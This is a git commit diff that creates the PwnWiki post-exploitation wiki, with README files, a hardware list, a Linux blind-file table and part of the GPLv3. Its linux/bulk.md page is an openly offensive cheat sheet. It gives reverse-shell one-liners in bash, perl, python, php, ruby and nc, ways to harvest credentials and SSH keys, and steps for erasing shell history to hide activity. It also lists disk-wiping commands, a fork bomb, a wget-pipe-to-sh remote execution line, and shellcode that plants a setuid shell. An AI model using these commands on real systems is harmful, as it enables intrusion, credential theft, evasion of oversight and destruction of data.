bring everything up

This commit is contained in:
Rob Fuller 2013-11-29 12:53:31 -05:00
parent 21f4e31fd1
commit 78e3953cbc
58 changed files with 18582 additions and 4 deletions

1
.gitignore vendored Normal file
View File

@ -0,0 +1 @@
.DS_Store

View File

@ -1,6 +1,6 @@
The MIT License (MIT)
Copyright (c) 2013 pwnwiki
Copyright (c) 2013 Rob Fuller
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in

View File

@ -1,4 +1,35 @@
pwnwiki.github.io
=================
Post Exploitation Wiki
======================
PwnWiki - Previously known as the Post Exploitation Wiki
This wiki is powered by MDwiki which is a self contained wiki in a single HTML file.
All you have to do to use the wiki is clone the repo to anywhere you can open HTML, served or local.
Contributors please see here: https://github.com/mubix/post-exploitation-wiki/wiki/Contributor-Wiki
### Live Online Copy:
You can find a copy of the project online at: http://mubix.github.io/post-exploitation-wiki/. If you are reading this from the live website and want to get to the Github repository click here -> https://github.com/mubix/post-exploitation-wiki.
### Offline Use:
1. Clone the repository or pull the archive ([download zip](https://github.com/mubix/post-exploitation-wiki/archive/master.zip)) of the repo
2. Open index.html
3. Most modern browsers don't allow the access of local files from a locally loaded HTML file. On Windows you can use [Mongoose Tiny](http://cesanta.com/downloads.html) or [HFS](http://www.rejetto.com/hfs/) to host the files locally. On OSX and Linux `python -m SimpleHTTPServer` seems to work just fine.
### Reference Binaries:
If the binary referenced isn't built into the respective OS, can be found here:
https://github.com/mubix/post-exploitation
#### Known issue with Chrome:
Chrome doesn't allow local file access from local files loaded in the
browser (ala index.html loading index.md). There are two ways around this. Use a web server to host
it (Apache, nginx, python SimpleHTTPServer, etc) or start Chrome with the `--allow-file-access-from-files`
argument. See here for more details: http://dynalon.github.io/mdwiki/#!faq.md
### More info about MDwiki:
http://dynalon.github.io/mdwiki/#!index.md

BIN
images/logo.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

BIN
images/output.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.5 KiB

209
index.html Normal file

File diff suppressed because one or more lines are too long

36
index.md Normal file
View File

@ -0,0 +1,36 @@
![](images/logo.jpg)
[Image Generated Here](http://www.addletters.com/pictures/restaurant-sign-generator/4729076.htm#.Um8oRyQeLuN)
### PostExploitation.com is a collection TTPs (tools, tactics, and procedures) for what to do after access has been gained.
- - - - - -
### Live Online Copy:
You can find a copy of the project online at: http://mubix.github.io/post-exploitation-wiki/
### Offline Use:
1. Clone the repository or pull the archive ([download zip](https://github.com/mubix/post-exploitation-wiki/archive/master.zip)) of the repo
2. Open index.html
3. Most modern browsers don't allow the access of local files from a locally loaded HTML file. On Windows you can use [Mongoose Tiny](http://cesanta.com/downloads.html) or [HFS](http://www.rejetto.com/hfs/) to host the files locally. On OSX and Linux `python -m SimpleHTTPServer` seems to work just fine.
#### Referenced tools can be found here: https://github.com/mubix/post-exploitation (If they aren't built into the OS)
- - - - - -
#### Submitting Content
We realize that everyone has their favorite commands they run. Is your go-to content not up here? Want to submit it? Either submit a pull request or if you don't want to spend the time becoming a Git Jedi, just visit our [Google Form](https://docs.google.com/forms/d/1N7-jRjnUXoz-UwB2h0du2IrskFJW6hBGs4YsTwvEncE/viewform). Thanks!
- - - - - -
Curators:
* [@mubix](https://twitter.com/mubix) [gimmick:TwitterFollow](@mubix)
* [@WebBreacher](https://twitter.com/webbreacher) [gimmick:TwitterFollow](@WebBreacher)
* [@tekwizz123](https://twitter.com/tekwizz123) [gimmick:TwitterFollow](@tekwizz123)
* [@jakx_](https://twitter.com/jakx_) [gimmick:TwitterFollow](@jakx_)
If you would like to become a curator, please contact [mubix@hak5.org](mailto:mubix@hak5.org)
[gimmick:ForkMeOnGitHub ({ color: 'red', position: 'right' })](http://www.github.com/mubix/post-exploitation-wiki/)

31
links.md Normal file
View File

@ -0,0 +1,31 @@
# Links
Hardware
---------
| Link | Description | Cost |
|------|-------------|------|
| [Raspberry Pi](http://www.raspberrypi.org/) | Small board, and low cost, there is a Kali Linux that is designed to run on it, but pretty slow processor | $25 |
| [PwnPlug/Pad/etc](http://pwnieexpress.com/collections/premium-pentesting-products) | Plug is a based off a Sheeva plug with an attack distro (ubuntu based) installed on it. Looks a lot like a wall wart. | $995|
| [BeagleBoard Black](http://beagleboard.org/Products/BeagleBone%20Black) | Description Needed | $45 |
| [Hak5 Rubber Ducky](http://hakshop.myshopify.com/collections/usb-rubber-ducky) | A USB stick that acts as a keyboard, types out payloads quickly and automatically. | $36 |
| [Hak5 Wifi Pineapple](http://hakshop.myshopify.com/collections/wifi-pineapple) | Wireless attack router | $99 |
| [Odroid X2](http://en.wikipedia.org/wiki/Odroid) | More RAM than the Pi (2GB) | $135 |
| [Udoo](http://www.udoo.org/)| Comparable with the Odroid X2 / Pwn Plug and Raspbery Pi | $100 |
| [GoodFet/Facedancer](http://goodfet.sourceforge.net/) | A open source JTAG adapter "loosely based upon the TI MSP430 FET UIF and EZ430U boards". The Facedancer board allows you to emulate USB devices so that one host can manipulate the USB devices or services of a second host. The Goodfet boards are an earlier edition of the Facedancer boards but are more general purpose, supporting JTAG and, with recent additions, USB to become a universal serial bus. | $70 [Facedancer21](http://int3.cc/collections/frontpage/products/facedancer21)<br /> $50 [GoodFET42](https://www.adafruit.com/product/1279) |
Software
---------
Web Apps
---------
Code Repos
---------
| Link | Description |
|------|-------------|
| [Panoptic](https://github.com/lightos/Panoptic) | Finds exploitable paths for LFI and RFI |
| [Daniel Miessler's SecLists Repo](https://github.com/danielmiessler/SecLists) | Solid repository of word lists for every occasion |

3
linux/bash.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

15
linux/blind.md Normal file
View File

@ -0,0 +1,15 @@
# Linux Blind Files
In some cases during exploitation you as an attacker gain the ability to read arbitrary files. As an attacker you need go-to files that cover as many different OS versions as possible in order to either confirm exploitation or gather intelligence on the exploited system. For this we use a "blind file".
The files below are things to pull when all you can do is to blindly read. Examples of vulnerabilities or situations where this would be helpful might be: local file includes (LFI), directory traversals or remote file share instances like SMB, FTP, NFS or otherwise.
| File | Description / Importance |
| -------- | ------------------------ |
| `/etc/issue` | A message or system identification to be printed before the login prompt. |
| `/etc/motd` | Message of the day banner content. Can contain information about the system owners or use of the system. |
| `/etc/passwd` | List of account names, groups, home directory, and shell (should be globally readable). |
| `/etc/resolv.conf` | Contains the current name servers (DNS) for the system. This is a globally readable file that is less likely to trigger IDS alerts than `/etc/passwd`. |
| `/etc/shadow` | List of all user's password hashes (requires root). |
| `/home/[USERNAME]/.bash_history`<br>`~/.bash_history`<br>`/root/.bash_history` | Shell history for [USERNAME], the current user or root respectively. This file can contain passwords and other sensitive commands and content. |

331
linux/bulk.md Executable file
View File

@ -0,0 +1,331 @@
# Linux Google Doc Content #
The content below is the raw data from the Google Doc that was first used to collect it. Over time, this content will be moved into sub-pages and organized but is placed here, now, so as to be more complete. We apologize for its appearance.
----
## System
| Command | Description / Importance |
| ------- | ------------------------ |
| `uname -a` | Prints the kernel version, arch, sometimes distro, ... |
| `ps aux` | List all running processes |
| `top -n 1 -d` | Print process, 1 is a number of lines |
| `id` | Your current username, groups |
| `arch, uname -m` | Kernel processor architecture |
| `w` | who is connected, uptime and load avg |
| `who -a` | uptime, runlevel, tty, proceses etc. |
| `gcc -v` | Returns the version of GCC. |
| `mysql --version` | Returns the version of MySQL. |
| `perl -v` | Returns the version of Perl. |
| `ruby -v` | Returns the version of Ruby. |
| `python --version` | Returns the version of Python. |
| `df -k` | mounted fs, size, % use, dev and mount point |
| `mount` | mounted fs |
| `last -a` | Last users logged on |
| `lastcomm` | |
| `lastlog` | |
| `lastlogin (BSD)` | |
| `getenforce` | Get the status of SELinux (Enforcing, Permissive or Disabled) |
| `dmesg` | Informations from the last system boot |
| `lspci` | prints all PCI buses and devices |
| `lsusb` | prints all USB buses and devices/h |
| `lscpu` | prints CPU information |
| `lshw` | |
| `ex` | |
| `cat /proc/cpuinfo` | |
| `cat /proc/meminfo` | |
| `du -h --max-depth=1 /` | (note: can cause heavy disk i/o) |
| `which nmap` | locate a command (ie nmap or nc) |
| `locate bin/nmap` | |
| `locate bin/nc` | |
| `jps -l` | |
| `java -version` | Returns the version of Java. |
## Networking
hostname -f
ip addr show
ip ro show
ifconfig -a
route -n
cat /etc/network/interfaces
iptables -L -n -v
iptables -t nat -L -n -v
ip6tables -L -n -v
iptables-save
netstat -anop
netstat -r
netstat -nltupw (root with raw sockets)
arp -a
lsof -nPi
to resume it ? "cat /proc/net/*" (more discreet)
what does the above mean? -> It means that all the information given by the above commands can be found by looking into the files under /proc/net , and that this approach is less likely to trigger monitoring or other stuff.
User accounts
local accounts: cat /etc/passwd
password hashes in /etc/shadow on Linux
password hashes in /etc/security/passwd on AIX
groups in /etc/group (and/or /etc/gshadow on Linux)
all accounts: getent passwd
should dump local, LDAP, NIS, whatever the system is using
same with getent group
Samba's own database: pdbedit -L -w or pdbedit -L -v
privileged accounts: cat
(above: cat ???)
mail aliases: cat /etc/aliases find /etc -name aliases, getent aliases
NIS accounts: ypcat passwd - displays NIS password file
Credentials
SSH keys, often passwordless: /home/*/.ssh/id*
SSH agent:
Kerberos tickets: /tmp/krb5cc_*, /tmp/krb5.keytab
PGP keys: /home/*/.gnupg/secring.gpgs
Configs
ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/nullte
cat /etc/issue{,.net}
cat /etc/master.passwd
cat /etc/group
cat /etc/hosts
cat /etc/crontab
cat /etc/sysctl.conf
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
cat /etc/resolv.conf
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.confcda
cat /etc/inetd.conf
cat /opt/lampp/etc/httpd.conf
cat /etc/samba/smb.conf
cat /etc/openldap/ldap.conf
cat /etc/ldap/ldap.conf
cat /etc/exports
cat /etc/auto.master
cat /etc/auto_master
cat /etc/fstab
find /etc/sysconfig/ -type f -exec cat {} \;
Determine Distro
lsb_release -d # Generic command for all LSB distros
/etc/os-release # Generic for distros using "systemd"
/etc/issue # Generic but often modified
cat /etc/*release
/etc/SUSE-release # Novell SUSE
/etc/redhat-release, /etc/redhat_version # Red Hat
/etc/fedora-release # Fedora
/etc/slackware-release, /etc/slackware-version # Slackware
/etc/debian_release, /etc/debian_version # Debian
/etc/mandrake-release # Mandrake
/etc/sun-release # Sun JDS
/etc/release # Solaris/Sparc
/etc/gentoo-release # Gentoo
/etc/arch-release # Arch Linux (file will be empty)
arch # OpenBSD; sample: "OpenBSD.amd64"
uname -a # often hints at it pretty well
Installed Packages
rpm -qa --last | head
yum list | grep installed
Debian: dpkg -l
dpkg -l | grep -i "linux-image"
dpkg --get-selections
{Free,Net}BSD: pkg_info
Solaris: pkginfo
Gentoo: # equery must be installed
cd /var/db/pkg/ && ls -d */* # always works
Arch Linux: pacman -Q
Package Sources
cat /etc/apt/sources.list
ls -l /etc/yum.repos.d/
cat /etc/yum.conf
Finding Important Files
ls -dlR */ #
ls -alR | grep ^d
find /var -type d
ls -dl `find /var -type d`
ls -dl `find /var -type d` | grep -v root
find /var ! -user root -type d -ls
find /var/log -type f -exec ls -la {} \;
find / -perm -4000 (find all suid files)
ls -alhtr /mnt
ls -alhtr /media
ls -alhtr /tmp
ls -alhtr /home
cd /home/; treels /home/*/.ssh/*
find /home -type f -iname '.*history'
ls -lart /etc/rc.d/
locate tar | grep [.]tar$ # Remember to updatedb before running locate
locate tgz | grep [.]tgz$
locate sql | grep [.]sql$
locate settings | grep [.]php$
locate config.inc | grep [.]php$
ls /home/*/id*
.properties | grep [.]properties # java config files
locate .xml | grep [.]xml # java/.net config files
find /sbin /usr/sbin /opt /lib `echo $PATH | 'sed s/:/ /g'` -perm /6000 -ls # find suids
locate rhosts
Covering Your Tracks
Avoiding history filesmys
export HISTFILE=
or
unset HISTFILE
This next one might not be a good idea, because a lot of folks know to check for tampering with this file, and will be suspicious if they find out:
However if you happen to be on an account that was originally inaccessible, if the .bash_history file is available (ls -a ~), viewcating its contents can provide you with a good deal of information about the system and its most recent updates/changes.
clear all history in ram
history -c
rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive)
touch ~/.bash_history (invasive)
<space> history -c (using a space before a command)
zsh% unset HISTFILE HISTSIZE
tcsh% set history=0
bash$ set +o history
ksh$ unset HISTFILE
find / -type f -exec {} (forensics nightmare)
Note that you're probably better off modifying or temporary disabling rather than deleting history files, it leaves a lot less traces and is less suspect.
In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing history (history -c) or by kill -9 $$'ing the shell. Sometimes the shell can be configured to run 'history -w' after every command; get around this by overriding 'history' with a no-op shell function. None of this will help if the shell is configured to log everything to syslog, however.
Obtain users' information
ls -alh /home/*/
ls -alh /home/*/.ssh/
cat /home/*/.ssh/authorized_keys
cat /home/*/.ssh/known_hosts
cat /home/*/.*hist* # you can learn a lot from this
find /home/*/.vnc /home/*/.subversion -type f
grep ^ssh /home/*/.*hist*
grep ^telnet `/home/*/.*hist*
grep ^mysql /home/*/.*hist*
cat /home/*/.viminfo
sudo -l # if sudoers is not. readable, this sometimes works per user
crontab -l
cat /home/*/.mysql_history
Escalating
Looking for possible opened paths
ls -alh /root/
sudo -l
cat /etc/sudoers
cat /etc/shadow
cat /etc/master.passwd # OpenBSD
cat /var/spool/cron/crontabs/* | cat /var/spool/cron/*
lsof -nPi
ls /home/*/.ssh/*
Maintaining control
Reverse Shell
Starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 (No /dev/tcp on older Debians, but use nc, socat, TCL, awk or any interpreter like Python, and so on.).
perl -e 'use Socket; $i="10.0.0.1"; $p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
xterm -display 10.0.0.1:1se
Listener- Xnest :1
Add permission to connect- xhost +victimIP
ssh -NR 3333:localhost:22 user@yourhost
nc -e /bin/sh 10.0.0.1 1234
Fun if Windows is present and accessible
If there is Windows installed and the logged-in user access level includes those Windows partition, attacker can mount them up and do a much deeper information gathering, credential theft and root-ing. Ntfs-3g is useful for mounting ntfs partitions read-write.
TODO: insert details on what to look for
Stuff to be sorted
## GOING TO MOVE EVERYTHING HERE FOR LEGIBILITY ONCE EDITING DIES DOWN
Command
Output
ps aux
List of running processes
id
List current user and group along with user/group id
w
Show info about who is logged, what are they are doing
who -a
Print information about users
cat /dev/core > /dev/audio
cat /dev/mem > /dev/audio
Makes a sound from the memory content.
Usefulness of this??? (none, aside from pissing off the sysadmin, in the very unlikely case that the server has speakers and the legacy OSS driver)
sudo -p
allows the user to define what the password prompt will be
(useful for fun customization with aliases or shell scripts)
Deleting and Destroying
(If it is necessary to leave the machine inaccessible or unusable)
Note that this tends to be quite evident (as opposed to a simple exploitation that might go unnoticed for some time, even forever), and will most surely get you into troubles.
Oh, and you're probably a jerk if you use any of the stuff below.
Command
Description
rm -rf /
This will recursively try to delete all files.
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?
"\x6e\x2f\x73\x68\x00\x2d\x63\x00?
"cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
Hex version of rm -rf /
How is this supposed to work?
mkfs.ext3 /dev/sda
Reformat the device mentioned, making recovery of files hard.
dd if=/dev/zero of=/dev/sda bs=1M
Overwrite disk /dev/sda with zeros
Execute a remote script
wget http://server/file.sh -O- | sh
This command forces the download of a file and immediately its execution, can be exploited easily using or reverse shit
Fork Bomb
:(){:|:&};:
The [in]famous "fork bomb". This command will cause your system to run a large number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally reboots, or the OOM killer kills a process with unsaved work). If left alone for enough time a system can eventually recover from a fork bomb.
Stolen from: http://incolumitas.com/wp-content/uploads/2012/12/blackhats_view.pdf
World
writable
directories
Find word writable folders outside your home directory. It would be a tremendous success if we could write, say to /etc. So we could add configuration files and therefore pretty sure execute code as root, since many daemons read a specific number of primary and secondary configuration files, whereas the secondary ones are often not created yet. If the superusers home (/root) would be writable, we could create shell startup files that doesn't exist yet: .profile,
.bash_profile, .bashrc...
find / \( -wholename
'/home/homedir/*' -prune \) -o \
( -type d -perm -0002 \) -exec
ls -ld '{}' ';' 2>/dev/null
World
writable files
What if /etc/passwd would be writable? Yeah, we just could add another root user and we would have won! Whereas the foregoing scenario is just too good to be
true, it really makes sense to search for world writable files outside your own territory (= your home directory).
find / \( -wholename
'/home/homedir/*' -prune -o
-wholename '/proc/*' -prune \)
-o \( -type f -perm -0002 \)
-exec ls -l '{}' ';' 2>/dev/null
Logfiles
Sometimes a security unaware administrator chmods a sensitive log file, because he couldn't view it and therefore leaks potentially sensitive data such as
passwords or other important information.
find /var/log -type f -perm
-0004 2>/dev/null
Setuid / setgid files
We already examined fully why setuid and setgid files are worth to be double checked. Such a file owned by root and susceptible for attacks is a big weakness.
find / \( -type f -or -type d \)
-perm -6000 2>/dev/null

3
linux/persistance.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

3
linux/privesc.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

674
mdwiki-0.5.5/GPLv3.txt Normal file
View File

@ -0,0 +1,674 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
